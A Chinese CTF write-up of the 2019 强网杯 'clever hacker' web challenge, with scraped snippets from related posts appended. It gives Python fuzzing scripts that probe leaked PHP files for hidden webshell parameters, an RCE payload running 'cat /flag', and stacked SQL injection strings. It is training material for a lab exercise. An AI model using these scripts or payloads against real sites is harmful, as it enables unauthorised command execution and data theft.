[强网杯 2019]高明的黑客

题目一览

进局子的前端:

那么先访问一下www.tar.gz,果然可以下载“

然后我人就傻掉了……

全是些莫名其妙的东西,难不成php也有花代码这么一说?

考点:fuzz脚本的编写

其实这些文件都是有讲究的,既然告诉你网站已经被黑了,这些源码中其实就藏着??

那其实思路就简单了……找出这些源码中所有的GET和POST请求,模拟请求一遍,看看那个能RCE不就行了。

放上我的一波脚本……还是太菜了,就写了GET的,依旧慢的像蜗牛:

import requests
import re
import os

path = ‘****‘ #文件路径
url = ‘‘ #url
r = re.compile(br"\$_GET\[‘(\w+)‘\]");#匹配$_GET[‘XXX‘]
f_list = os.listdir(path)

for file in f_list: #逐步读文件
    f = open(path + file)
    con = f.read()
    tmp = r.findall(con) #遍历所有GET请求
    for j in tmp:
        exp = url + file + ‘?‘ + j[1] + ‘=echo fuzz;‘ #构造GET请求的URL,带参传echo
        res = requests.get(exp).text
        if ‘777‘ in res: #若找到,输出
            print(‘Find ‘+exp)
            exit(0)

不过是能跑出来的:

直接构造payload:

/xk0SzyKwfzw.php?Efa5BVG=cat /flag

拿到flag:

这里贴一下飘零师傅的脚本:运用了线程池,速度快了很多(py2)

import requests
from multiprocessing import Pool

base_url = "http://localhost:8888/src/"
base_dir = "/Desktop/site/src/"
file_list = [‘zzt4yxY_RMa.php‘,........ ‘m_tgKOIy5uj.php‘, ‘aEFo52YSPrp.php‘, ‘Hk3aCSWcQZK.php‘, ‘RXoiLRYSOKE.php‘]

def extracts(f):
    gets = []
    with open(base_dir + f, ‘r‘) as f:
        lines = f.readlines()
        lines = [i.strip() for i in lines]
        for line in lines:

            if line.find("$_GET[‘") > 0:
                start_pos = line.find("$_GET[‘") + len("$_GET[‘")
                end_pos = line.find("‘", start_pos)
                gets.append(line[start_pos:end_pos])

    return gets

def exp(start,end):
    for i in range(start,end):
        filename = file_list[i]
        gets = extracts(filename)
        print "try: %s"%filename
        for get in gets:
            now_url = "%s%s?%s=%s"%(base_url,filename,get,‘echo "sky cool";‘)
            r = requests.get(now_url)
            if ‘sky cool‘ in r.content:
                print now_url
                break
    print "%s~%s not found!"%(start,end)

def main():
    pool = Pool(processes=15)    # set the processes max number 3
    for i in range(0,len(file_list),len(file_list)/15):
        pool.apply_async(exp,(i,i+len(file_list)/15,))
    pool.close()
    pool.join()

if __name__ == "__main__":
    main()

当然还有赵师傅的脚本了,工整的很:(py3)

import os
import threading
from concurrent.futures.thread import ThreadPoolExecutor

import requests

session = requests.Session()

path = "/Users/jinzhao/PhpstormProjects/qwb/web2/"  # 文件夹目录
files = os.listdir(path)  # 得到文件夹下的所有文件名称

mutex = threading.Lock()
pool = ThreadPoolExecutor(max_workers=50)

def read_file(file):
    f = open(path + "/" + file);  # 打开文件
    iter_f = iter(f);  # 创建迭代器
    str = ""
    for line in iter_f:  # 遍历文件,一行行遍历,读取文本
        str = str + line

    # 获取一个页面内所有参数
    start = 0
    params = {}
    while str.find("$_GET[‘", start) != -1:
        pos2 = str.find("‘]", str.find("$_GET[‘", start) + 1)
        var = str[str.find("$_GET[‘", start) + 7: pos2]
        start = pos2 + 1

        params[var] = ‘echo("glzjin");‘

        # print(var)

    start = 0
    data = {}
    while str.find("$_POST[‘", start) != -1:
        pos2 = str.find("‘]", str.find("$_POST[‘", start) + 1)
        var = str[str.find("$_POST[‘", start) + 8: pos2]
        start = pos2 + 1

        data[var] = ‘echo("glzjin");‘

        # print(var)

    # eval test
    r = session.post(‘http://localhost:11180/web2/‘ + file, data=data, params=params)
    if r.text.find(‘glzjin‘) != -1:
        mutex.acquire()
        print(file + " found!")
        mutex.release()

    # assert test
    for i in params:
        params[i] = params[i][:-1]

    for i in data:
        data[i] = data[i][:-1]

    r = session.post(‘http://localhost:11180/web2/‘ + file, data=data, params=params)
    if r.text.find(‘glzjin‘) != -1:
        mutex.acquire()
        print(file + " found!")
        mutex.release()

    # system test
    for i in params:
        params[i] = ‘echo glzjin‘

    for i in data:
        data[i] = ‘echo glzjin‘

    r = session.post(‘http://localhost:11180/web2/‘ + file, data=data, params=params)
    if r.text.find(‘glzjin‘) != -1:
        mutex.acquire()
        print(file + " found!")
        mutex.release()

    # print("====================")

for file in files:  # 遍历文件夹
    if not os.path.isdir(file):  # 判断是否是文件夹,不是文件夹才打开
        # read_file(file)

        pool.submit(read_file, file)

我还是别说我学过python了……

原文地址:https://www.cnblogs.com/keelongz/p/12643812.html

时间: 2024-11-09 01:13:12

[强网杯 2019]高明的黑客的相关文章

刷题记录:[强网杯 2019]Upload

目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challenges 参考链接:2019 第三届强网杯 Web 部分 WriteUp + 复现环境 一.知识点 1.源码泄露 www.tar.gz 2.php反序列化 看起来文件很大,但是用phpstorm打开的话会发现默认打开的文件里有两个断点,其实是给的hint,指出了反序列化利用的地方.之后常规的反序列化

[原题复现]强网杯 2019 WEB高明的黑客

简介  原题复现:  考察知识点:python代码编写能力...  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 简介 页面提示有源码可以下载,直接拼接URL www.tar.gz 下载后发现一堆php 初步考虑就是有考察根脚本编写有关 打开代码发现这些 有get.pos 还有var_dump() 每个页面都有很多看WP说这是shell 因为很多都不能用所以要编写一个能检测利用的py v1.0版本(速度太慢) i

强网杯 2019]随便注(堆叠注入,Prepare、execute、deallocate)

然后就是今天学的新东西了,堆叠注入. 1';show databases; # 1';show tables; # 发现两个表1919810931114514.words 依次查询两张表的字段 1'; show columns from 表名; # 不过有点问题,只有words有回显.(翻博客发现数字串为表名的表操作时要加反引号,加上之后发现的确有flag字段) 大佬wp展示了一手存储过程绕过 payload: http://web16.buuoj.cn/?inject=1%27;[email 

[BUUOJ记录] [强网杯 2019]随便注(三种方法)

本题主要考察堆叠注入,算是比较经典的一道题,在i春秋GYCTF中也出现了本题的升级版 猜测这里的MySQL语句结构应该是: select * from words where id='$inject'; 构造Payload:用单引号+分号闭合前面的语句,插入SQL语句,再用注释符注释掉后面的语句即可 先列出所有数据库: 1';show databases;# 得到: array(1) { [0]=> string(11) "ctftraining" } array(1) { [0

2019强网杯部分misc&web

0x01 前言 前两天菜鸡+x和几个大哥算是正式参加了一次ctf的线上赛,也是第一次参加这种比赛(前一段时间巨佬也给了我们一个西班牙的比赛,不过不算是正式参赛,做题的时候,比赛已经结束了),没想到出师不利,菜的一B,除了一个证明你签了到的签到题,一道题也没有弄出来,今天的我也是一个卑微的弟弟啊!比赛结束了,大佬们开始放writeup了,准备有些题目还是再看一看,复现一下. 0x02 鲲or鳗orGame 最先开始做的便是这道MISC的题目“鲲or鳗orGame” 进入网站后,发现鲲or鳗orGa

强网杯web复现

平台:https://buuoj.cn/challenges 2019 强网杯的题目总结 UPLOAD wp 大佬的 wp : https://www.zhaoj.in/read-5873.html 个人总结 只能上传正常的图片,非 png 格式会自动转化为 png,图片被保存在 upload 目录下 本题是 www.tar.gz 泄露,源码泄露总结点击此处 函数流程: 没有登陆时,跳转到 index.php,进行注册登陆.login_check 函数将 cookie('user') 赋给 pr

第二届“强网杯”全国网络安全挑战赛来袭——线上赛

为全面贯彻习主席关于网络安全和信息化工作的一系列重要指示精神,延揽储备锻炼网信领域优秀人才,提升国家网络空间安全能力水平,举办第二届"强网杯"全国网络安全挑战赛.该比赛是面向高等院校和国内信息安全企业的一次国家级网络安全赛事,旨在通过激烈的网络竞赛对抗,培养和提高国家网络安全保障能力和水平,发现网络安全领域优秀人才,提升全民网络空间的安全意识和能力水平. 比赛链接 官方比赛链接地址:https://www.ichunqiu.com/2018qwb?from=bkyl 比赛时间 线上赛报

[强网杯]随便注

[强网杯]随便注 当所需的语句被ban时可以考虑,用其他方式实现该语句.但是如果想不出同样可以考虑改变数据来利用本来执行的语句. 打开页面,一个输入框,前端注释写了一个SQLMAP是没有灵魂的23333(为我的sqlmap R.I.P),很明显是个注入题.Fuzz之后得到提示过滤了一些参数,并且发现存在堆叠注入. return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); 111';show da

CTF 2017强网杯

1.Base64特征 如果这个字符串仅有64个字符(A~Z a~z + / )以及后缀=组成,一般就可以判断是经过base64编码过的字符串字符串的字节数(不包括等号并且去掉4-等号个数个字节数)一定是4的倍数 2.ROT13 HACKBAR中带有这个工具 #修改Cookie 3.构造PHP 要学的东西好多 原文地址:https://www.cnblogs.com/rookieDanny/p/8306697.html